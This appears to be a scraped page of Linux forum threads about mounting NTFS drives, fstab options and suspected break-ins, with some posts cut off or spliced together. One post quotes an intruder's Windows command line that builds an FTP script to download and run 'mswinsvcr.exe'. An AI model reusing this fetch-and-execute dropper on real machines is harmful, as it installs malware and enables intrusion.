Ubuntu Security :: Mount.ntfs Ran On Its Own - Normal Or External Hack/break-in Attempt?

Aug 2, 2010

Running Ubuntu 10.04 I noticed my hard disc rumbling for longer than normal and louder. Not doing anything demanding to cause hard disk activity like this so I was suspicious so I checked my process list with 'top' command in the console terminal. At the top was mount.ntfs running. Eventually it stopped running after 20 seconds or so. At the time I have not been accessing NTFS filesystems, but I do have them. I have a dual boot Ubuntu 10.04 and Windows 7. In Ubuntu I've mounted the Windows main C drive and on the same hard disk a partitioned drive for sharing files between the OSs. I know mount.ntfs is a standard program but was it being run on my machine, instigated externally here? Was the running of mount.ntfs an attempt from outside to hack into Ubuntu and the mounted Windows areas of my machine via a backdoor connection or vulnerability? I've restarted my machine since then. Are there any logs I can check for malicious attempts to break in?

Ubuntu :: Auto Mount Options For External NTFS?

Jan 31, 2010

Have a 1TB external USB hard drive I want to use on both Windows and Linux (Mythbuntu 9.10), so I thought the easiest way would be to format it with NTFS. Installed the NTFS-3G package and I'm able to read and write to the drive fine from Linux, however I have a few questions;

1) How do I configure Linux so that when it mounts the NTFS partition it is writeable for user, group and other (bascially I want everyone to have read and write access)? Currently when the NTFS disk is mounted the permissions are restricted to the user only and I suspect I'll need to edit fstab for this, but don't have much experience here so need help with the specifics.

2) If my Linux PC is turned on with the external drive attached, the disk is not mounted until I double click on the icon on the desktop. Is there anyway I can configure Linux so that it will automatically mount the external disk when booting?

Below is what is in my fstab file at present;

Quote:

# /etc/fstab: static file system information.
#
# -- This file has been automaticly generated by ntfs-config --
#
# <file system> <mount point> <type> <options> <dump> <pass>

Ubuntu Networking :: Mount External Ntfs Hd As User AND Being Able To Share?

Mar 14, 2010

I have an ntfs external hd; I can mount and use it fine, without entry in fstab, but not share stuff. That is to say: I can use nautilus / thunar to share folders on it without errors, but they are not accessible via the network. The issue may be that the mount point has permissions 700. I can solve that by Code:sudo mount -t ntfs-3g /dev/sdb1 /media/Databank -o umask=0,nls=utf8or by setting umask=022 in fstab, but then I can't mount it as user anymore; if I set fstab to

Code:
/dev/sdb1 /media/Databank ntfs-3g user,umask=022,nls=utf8,defaults 0 0
I get this when I try to mount it as user in the filebrowser:

I am trying to mount an external USB hard drive. I'm using Debian Lenny 5. I tried to right-click on the hard drive and then select the mount command inside the gnome desktop environment but it gives me an error. Is there an easy way to mount and unmount this hard drive? The hard drive itself is formatted from the factory in NTFS. I'm going to leave it in this file format is a need to use it with Windows machines as well.

Ubuntu Security :: Unwanted Remote Desktop Access And Attempted Hack

Jul 20, 2010

I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e

I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]

How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?

What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?

In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.

Ubuntu :: Mount.ntfs And Mount.ntfs-3g Reside Simultaneously?

Can mount.ntfs and mount.ntfs-3g reside simultaneously?

Whilst accessing an external NTFS drive mount.ntfs takes up a lot of CPU. I am not sure if its mounting the drive using mount.ntfs or mount.ntfs-3g? How do I find out and if they coexist how do I make the default mount drive ntfs-3g?

Ubuntu Security :: Ecrypted External Hard Drive Partition Won't Mount Or Unmount?

Nov 15, 2010

I've been running Linux for a year on our family computers (one desktop, one laptop and two netbooks). I've run into a problem with the encrypted ext4 partition (270GB) on a LaCie external hard drive which also has a NTFS partition (50GB) which is not encrypted . First two times I tried using the encrypted ext4 partition (from two different computers) it worked fine but now I can't access it at all. I can still access the NTFS partition.Encrypted external hard drive partition will unlock but won't mount (or unmount). The computer says "Opening 320GB Hard Disk" but after a minute says, "Unable to mount location. DBus error org.freedesktop.DBus.Error.NoReply"Disk utility (GUI for gparted I believe) states that the encrypted partition (/dev/sdb1) is unlocked and the underlying partition (/dev/dm-0) is not mounted but it has a "busy circle sign" on it that will not turn off. The NTFS partition on the same drive mounts and accesses normally.

But if I try to unmount the NTFS partition, it says: "Unable to stop drive. One or more partitions are busy on /dev/sdb"If I try to shut down the computer, it is unable to shut down because (I assume) it can't shut down that drive either. So I have to just turn off the computer.fdisk states that /dev/dm-0 doesn't have a valid partition table [full output attached]fsck suggests: "Filesystem mounted or opened exclusively by another program?"ps axuf shows some processes running on /dev/dm-0 but killinghem doesn't release the drive either. [full output attached]I checked /etc/blkid.tab (suggested in one vaguely related thread) and there's no actual file only a broken link pointing to /dev/.blkid.tab (which doesn't exist). I tried deleting this link and rebooting but that didn't change anything.when I finally gave up my data as lost, I tried to format the partition (using Disk Utility) and it refused saying, "One or more block devices are holding /dev/sdb"

Since the server was fc10, I did a fresh installation to fc13, and the fresh installation didn't have this issue. Then I loaded back all the user-data, and it started again.

Several, 4, 6, 8, ... 100 perl processes from apache.

OpenSUSE Install :: 11.3 Security Update Will Break Adobe AIR / Tweetdeck

Apr 4, 2011

The libxml2 update specified by CVE-2010-4494 causes a notification that it will break Adobe AIR and TweetDeck on my machine.How can I blacklist this update so it won't keep showing up in the Updater applet?The applet says I should go into Yast and manually apply the update. When I do that and tell it not to apply the update, Yast exits and the Updater applet just tells me the update is still pending. I want to get rid of the update at least temporarily until Adobe fixes the dependency (assuming they ever do).

This is a major problem for me as I clearly don't intend to uninstall TweetDeck and AIR just for some security patch. Why didn't openSUSE test this patch for AIR compatibility?

Ubuntu Security :: Undesired Access Attempt To Localhost

Jun 29, 2011

While investigating my localhost access logs during an investigation to resolve locking myself out of my own server(!) I noticed this recent access attempt from a proxy referrer. I wouldn't expect this on a local server - currently set to listen on 127.0.01. The request was 403 forbidden, but surely the request should not have even reached this far? Is this an example of an unauthorised access attempt? I don't think it is me because all of my usual access requests are in moz 5 and im logged in to linux currently.

Note please do not click this link as I do not know where it leads ^^^^! (and i dont know how to disable it on this forum)
